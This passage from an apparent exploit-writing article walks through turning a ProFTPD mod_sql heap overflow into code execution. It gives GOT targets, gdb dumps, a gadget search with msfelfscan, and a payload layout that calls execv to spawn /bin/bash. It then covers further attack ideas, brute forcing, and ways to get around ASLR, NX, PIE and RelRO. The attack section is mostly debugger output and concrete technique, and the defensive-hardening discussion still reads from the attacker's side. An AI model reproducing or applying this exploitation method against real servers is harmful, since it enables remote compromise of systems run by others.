080e469c R_386_JUMP_SLOT memcpy
080e48d4 R_386_JUMP_SLOT mmap64
080e4800 R_386_JUMP_SLOT strcat
dlsym() might be useful if we can get the results and save it somewhere.
memcpy()/strcat()/memcpy()/etc could be useful for constructing a ret to
libc style attack.
printf() could be used to leak memory contents. Can't use it for writing
to memory due to FORTIFY_SOURCE.
mmap64() could be useful to map memory readable, writable and executable
(assuming SELinux allows it, which is unlikely in recent releases).
execv() could be used to execute an arbitrary process (assuming not
prevented by SELinux). execv() takes two parameters, program to execute,
and argument list. The argument list must consist of valid pointers to
readable memory, or the execve() (syscall) will fail.
Since execv() looks like least effort, we'll need to find a way to modify
the stack so that the next argument is a pointer to something suitable (a
pointer to NULL would be sufficient)
(gdb) x/4x $esp
0xbf977c60: 0x42424242 0x080ccbe2 0x080e8a40
0x08730578
(gdb) x/s 0x080ccbe2
0x80ccbe2: "getgroups"
Taking stock of what we have:
eax 0x42424242 1111638594
ecx 0x8734e10 141774352
edx 0x80eb040 135180352
ebx 0x80ed933 135190835
esp 0xbf977c60 0xbf977c60
ebp 0xbf977c78 0xbf977c78
esi 0x8731eac 141762220
edi 0x80f680c 135227404
We control eax, edx (edx is the fake pointer for sub_prev/sub_next
stuff), we control ebx to an extent:
(gdb) x/7x $ebx
0x80ed933 <resp_buf+179>: 0x42424242 0x43434343 0x44444444 0x45454545
0x80ed943 <resp_buf+195>: 0x46464646 0x47474747 0x48484848
We control esi to an extent:
(gdb) x/s $esi
0x8731eac: "a5Aa6Aa73\331016\ba9Ab@\260\016\b"
So, with that in mind, we are looking for writes to stack at [esp],
[esp+4], [esp+8] and [esp+0xc], and hopefully then a jump register.
We can assemble a bunch of instructions, and use msfelfscan to show
potential hits:
ruby msfelfscan -r
"\x89[\x44\x54]\x24[\x04\x08\x0c][^\xff\xe8]*\xff[\x53\x10\x50\xd0-\xe0]"
/usr/sbin/proftpd
[/usr/sbin/proftpd]
0x0805b10a 8944240c89d02b4308894424088b431089142489442404ff53
0x0805b81d 894424048b450c890424ffd2
0x0805cd62 8944240c8b4310894424088b4208894424048b4204890424ffd7
0x0805e158 8944240889742404c70424df7b0d08ffd7
0x08063ed8 8944240c8b431c894424088b4318894424048b4314890424ff53
0x080706cc 895424048b5508891424ff50
0x08070720 89442404a13cd80e088b5508891424ff50
0x08070754 89442404a144d80e088b5508891424ff50
0x08070787 89442404a140d80e088b5508891424ff50
0x08070a84 89542404ff50
0x08070acb 89442404a13cd80e08ff50
0x08070af3 89442404a144d80e08ff50
0x08070b5a 89442404a140d80e08ff50
0x08070cc2 89542404ff50
0x08070ce3 89442404a13cd80e08ff50
0x08070d0b 89442404a144d80e08ff50
0x08070d4a 89442404a140d80e08ff50
0x08072081 8944240ca184ec0e08890424ffd2
0x08072127 8944240c8b4604c744240462c20c0889442408a184ec0e08890424ffd2
0x080721da 8944240ca184ec0e08890424ffd2
0x0807222b 8944240c8b4604c74424046ac20c0889442408a184ec0e08890424ffd2
0x080722ac 89442408a184ec0e08890424ffd2
0x0807824b 894424088954240c8b460489342489442404ff53
0x080782f2 8954240c894424088b460489342489442404ff53
0x08078388 8944240c8b450c894424088b460489342489442404ff53
0x08078468 8944240c8b450c894424088b460489342489442404ff53
0x08078798 894424088b460489342489442404ff53
0x08078a4b 89442404ff53
0x08079b08 8944240889742404891c24ffd2
0x08079bf2 8944240c8b450c89442408ff53
0x08079c93 89442404ff53
0x08079d1c 89442404ff53
0x0807a16c 8944240c8b450c89442408ff53
0x0807a264 89442408ff53
0x0807a7e7 89442408ffd6
0x0807c7d3 89442404ff53
0x0807c85c 89442404ff53
0x0807cc9c 8944240c8b450c89442408ff53
0x0807e412 89542408894c2404893424ffd3
0x0807f209 89442404ffd7
0x0807f222 89442404ffd7
0x0807f262 89442404ffd7
After spending some time looking at the output, we find one that fits the
bill, and is absolutely perfect.
(gdb) x/10i 0x08063ed8
0x8063ed8 <run_schedule+56>: mov %eax,0xc(%esp)
0x8063edc <run_schedule+60>: mov 0x1c(%ebx),%eax
0x8063edf <run_schedule+63>: mov %eax,0x8(%esp)
0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax
0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)
0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax
0x8063eed <run_schedule+77>: mov %eax,(%esp)
0x8063ef0 <run_schedule+80>: call *0xc(%ebx)
If we execute from 0x8063ee3, it does the job perfectly. It will load
pointers from $ebx (which we can populate however we want), and stick them
on the stack, then jump to an address we want. We will need a program to
execute, and a pointer to NULL. We can craft the fakeauth attempt as:
...memory stuff...AAAABBBBCCCC.../bin/sh or /usr/bin/python (as it's
important to have NULL termination, which will be provided).
Hardware assisted breakpoint 1 at 0x8063ee3: file support.c, line 132.
Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132
132 s->f(s->a1,s->a2,s->a3,s->a4);
Missing separate debuginfos, use: debuginfo-install
audit-libs-1.7.13-1.fc10.i386 e2fsprogs-libs-1.41.4-6.fc10.i386
keyutils-libs-1.2-3.fc9.i386 krb5-libs-1.6.3-18.fc10.i386
libattr-2.4.43-2.fc10.i386 libselinux-2.0.78-1.fc10.i386
mysql-libs-5.0.84-1.fc10.i386 zlib-1.2.3-18.fc9.i386
(gdb) x/8i $eip
0x8063ee3 <run_schedule+67>: mov 0x18(%ebx),%eax
0x8063ee6 <run_schedule+70>: mov %eax,0x4(%esp)
0x8063eea <run_schedule+74>: mov 0x14(%ebx),%eax
0x8063eed <run_schedule+77>: mov %eax,(%esp)
0x8063ef0 <run_schedule+80>: call *0xc(%ebx)
(gdb) x/x $ebx+0x18
0x80ed94b <resp_buf+203>: 0x48484848
(gdb) x/x $ebx+0x14
0x80ed947 <resp_buf+199>: 0x47474747
(gdb) x/x $ebx+0xc
0x80ed93f <resp_buf+191>: 0x45454545
We can replace HHHH with resp_buf + 400 to point to NULL, we can put in our
offset for the program to execute in GGGG, and our execv code at EEEE,
which will be:
080526b8 <execv@plt>:
80526b8: ff 25 a4 46 0e 08 jmp *0x80e46a4
80526be: 68 00 05 00 00 push $0x500
80526c3: e9 e0 f5 ff ff jmp 8051ca8 <_init+0x30>
Putting those together, we then see:
Breakpoint 1, 0x08063ee3 in run_schedule () at support.c:132
132 s->f(s->a1,s->a2,s->a3,s->a4);
(gdb) c
Continuing.
[New process 22952]
Executing new program: /bin/bash
warning: Cannot initialize thread debugging library: generic error
Due to alarm() being called in ProFTPD, you'll have to reset it / catch it
/ block it (the "trap" command in bash should be able to do this for you),
otherwise the connection will drop out some time later on.
If PIE was enabled, and the binary ended up past 0x01000000, we could brute
force it and still gain code execution. The only problem now to deal with
is with SELinux restrictions. Any decent kernel exploit will disable that
for you ;)
------[ 4.2 - Potential enhancements ]
There are a variety of enhancements that could be done to make the exploit
better in a variety of ways, such as a known target lists, bruteforce
ability (both offset and tags, if necessary. Timing attacks may be useful),
porting it to metasploit so you have the advantage of changing shellcodes,
etc.
Also, more work would be required against distributions, because if ProFTPD
is compiled with shared library support, using time() as an offset may
change ;) Additionally, it may be possible that some distributions require
different ways due to charcter restrictions.
Further research would be needed in common ProFTPD w/ mod_sql.c
configuration guides in order to see what table names / fields are used.
Further experimentation with the pool implementation in ProFTPD might be in
order, as perhaps it would be possible to work out a generic fake/trigger
string that would work in all cases.
Since the SQL injection fix, the bug is no longer remote root pre auth via
USER handling it has lost a lot of it's sexiness <;-P~ Don't know if the
bug is reachable through authentication.. if it is, there's a lot more work
involved due to dropped privileges, potential chroot()ing, and so on. At
least RootRevoke isn't enabled by default according to some random
documentation I was reading :p
------[ 4.3 - Last thoughts ]
Initial experimentation of the vulnerability with constraint solvers was
interesting, however, in hindsight, just replicating the constraint checks
and random generation would of been a better idea. Same goes for using GA
to mutate input strings, though the GA use was worse because the metrics
used was pretty bad. In hindsight, I had a solution looking for a problem.
Additionally, [11] has some more information regarding this vulnerability
when you consider the timing aspect of heap massages.
--[ 5 - Discussion of hardening techniques against exploitation ]
It's always fun to consider the effects of various hardening techniques
against exploitation, and if it helps mitigate the issue. Here's some
thoughts on the matter.
------[ 5.1 - Address Space Layout Randomisation ]
If the binary is not compiled as a position independent executable (PIE)
binary, ASLR is not much of a problem as we target the GOT for storing the
shellcode. We require only one offset, and on non-PIE binaries, we should
be in luck.
------[ 5.2 - Non-executable Memory ]
With kernels using PAE and hardware supported NX-bit will break our
shellcode approach, however, it will not affect our approach used in
"Cleanup structure crash".
With kernels that use CS limit to approximate non executable memory, it may
be possible that a higher region of memory is marked executable, and thus
our shellcode region is executable. The metasploit stager shellcode reads
onto the stack and jumps to it, so cs limit approximation would block that
attempt. A suitable mprotect() call could fix it though.
It may be possible use the overflow to make ProFTPD think we have been
authenticated, without requiring any shellcode. Assuming the pool memory
layout is not irreparably harmed, we may be able to do some interesting
things.
------[ 5.3 - Position Independent Executable Binaries ]
In case of PIE, it would be feasible to brute force the randomisation as
ProFTPD fork()s for each client connection. In order to make the most of
ASLR, ProFTPD would have to fork+execve() itself, or be configured to use
xinetd/inetd (which would probably be a significant performance problem on
busy sites). Using fork+execve() would be the best approach as it would
require least changes by the user except an update to ProFTPD.
The avenue we are using for exploitation does not lend itself to off-by-X
overwrites, as our contents is appended by ')\x00, which restricts the
characters we can use dramatically.
As for information leaks, I have seen heap address info leaks when the
server replies with "Password needed for <OUR CONTENT><MANGLED HEAP
ADDRESS>". This may be useful at some stage if a different avenue is needed
for exploitation.
Unfortunately, ProFTPD frequently uses pcalloc() which reduces the
potential for info leaks in some other cases.
------[ 5.4 - Stack Protector ]
SSP does not play much of a part as we are not overwriting the stack, and
nor are we abusing a libc function to overwrite contents (due to recent
instrumentation added to gcc/glibc/so on). So far, targeting the stack
seems irrelevant, and due to ASLR being in modern kernels, not that useful.
------[ 5.5 - RelRO ]
If readonly relocations is enabled on the target binary, (and being
enforced/enabled properly) it will break our current avenue of overwriting
the GOT table to gain control of execution.
However, it may be possible to target .bss heap pointers in ProFTPD that
get called. (objdump -tr /usr/local/sbin/proftpd | grep bss | grep 0004 or
so should find potential function pointers :p)
Assuming non-executable memory is not in use, the BSS provides a suitable
location to store our shellcode, due to the proctitle.c code.
--[ 6 - References
[1] http://www.proftpd.org
[2] http://labix.org/python-constraint
[3] http://bitbucket.org/haypo/python-ptrace/
[4] http://pyevolve.sourceforge.net/
[5] http://www.castaglia.org/proftpd/doc/devel-guide/introduction.html
[6] http://www.phreedom.org/solar/exploits/proftpd-ascii/
[7] ga_exp_find.py in the attached code.. my bash history says I used
it with python ga_exp_find.py -o 32 -i 127.0.0.1 -U -s f .. for
what it's worth :p
[8] http://dev.mysql.com/doc/refman/5.0/en/string-syntax.html
[9] code/final_exploit/exploit.py
[10] code/final_exploit/exploitsc.py
[11] http://felinemenace.org/~andrewg/Timing_attacks_and_heap_exploitation/
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